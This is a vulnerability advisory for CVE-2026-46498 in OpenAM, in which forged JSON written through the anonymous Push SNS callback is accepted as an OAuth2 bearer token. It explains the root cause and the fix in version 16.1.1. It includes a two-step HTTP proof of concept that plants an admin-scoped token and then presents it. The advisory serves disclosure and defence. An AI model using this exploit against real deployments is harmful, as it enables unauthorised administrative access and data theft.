CVE-2026-46498: OpenAM Arbitrary OAuth2 Token Minting via CTS Namespace Confusion
A logic flaw in OpenAM's token store lets a low-privileged attacker plant a crafted JSON blob and have it accepted as a valid OAuth2 bearer token, granting access to any resource with attacker-chosen

The problem
OpenAM's stateful OAuth2 token-read path looks up caller-supplied token IDs directly in the shared Core Token Store (CTS) without enforcing an OAuth-only namespace or verifying that the CTS row's stored type matches the expected OAuth token family.
Any CTS row whose JSON body self-declares as an OAuth access token is accepted with no integrity check. A low-privileged user with Push Notification access can write attacker-controlled JSON into the CTS via the anonymous Push SNS callback handler, then supply that row's ID as a bearer token to any OAuth2-protected endpoint.
Proof of concept
# Step 1: after completing one real Push registration, inject a forged CTS row
# via the anonymous Push SNS callback (no auth required beyond initial registration).
# The callback writes attacker-controlled JSON into the CTS under a known token ID.
POST /openam/push/sns/message?_action=authenticate HTTP/1.1
Host: openam.example.com
Content-Type: application/json
{
"messageId": "ATTACKER_CHOSEN_TOKEN_ID",
"jwt": "<signed_push_jwt_with_embedded_payload>",
"data": {
"tokenName": "access_token",
"tokenType": "Bearer",
"userName": "admin",
"clientID": "my-client",
"realm": "/",
"scope": ["openid", "profile", "am-introspect-all-tokens"],
"expireTime": 9999999999999
}
}
# Step 2: present the planted row ID as a bearer token.
# OpenAM reads it from CTS, skips type validation, and treats it as legitimate.
GET /openam/oauth2/userinfo HTTP/1.1
Host: openam.example.com
Authorization: Bearer ATTACKER_CHOSEN_TOKEN_IDThe CWE-639 root cause is that the OAuth2 read path uses the caller-supplied token ID as a direct CTS key lookup with no namespace prefix (such as an 'oauth2:' prefix) and never cross-checks the CTS row's own type field against the expected OAuth token family.
Any row already in the CTS, regardless of which subsystem wrote it, is accepted if its BLOB payload contains the right JSON field names.
The Push Notification SNS callback is the write primitive: it is reachable after a single legitimate registration, allows low-privileged users to land attacker-controlled JSON into the CTS under an ID they control, and does not scrub OAuth2 token fields from the payload.
The fix in 16.1.1 adds a CTS-type binding check on the OAuth2 read path, so a row written by the Push subsystem (coreTokenType != OAUTH_TOKEN) is rejected even if its BLOB self-declares as an access token.
The fix
Upgrade to OpenAM Community Edition 16.1.1 or later. The patch adds a CTS token-type binding assertion to the OAuth2 read path, ensuring only rows whose server-assigned CTS type belongs to the OAuth token family are accepted. If you cannot upgrade immediately, disabling Push Notification in all realms removes the known CTS write primitive and reduces exposure.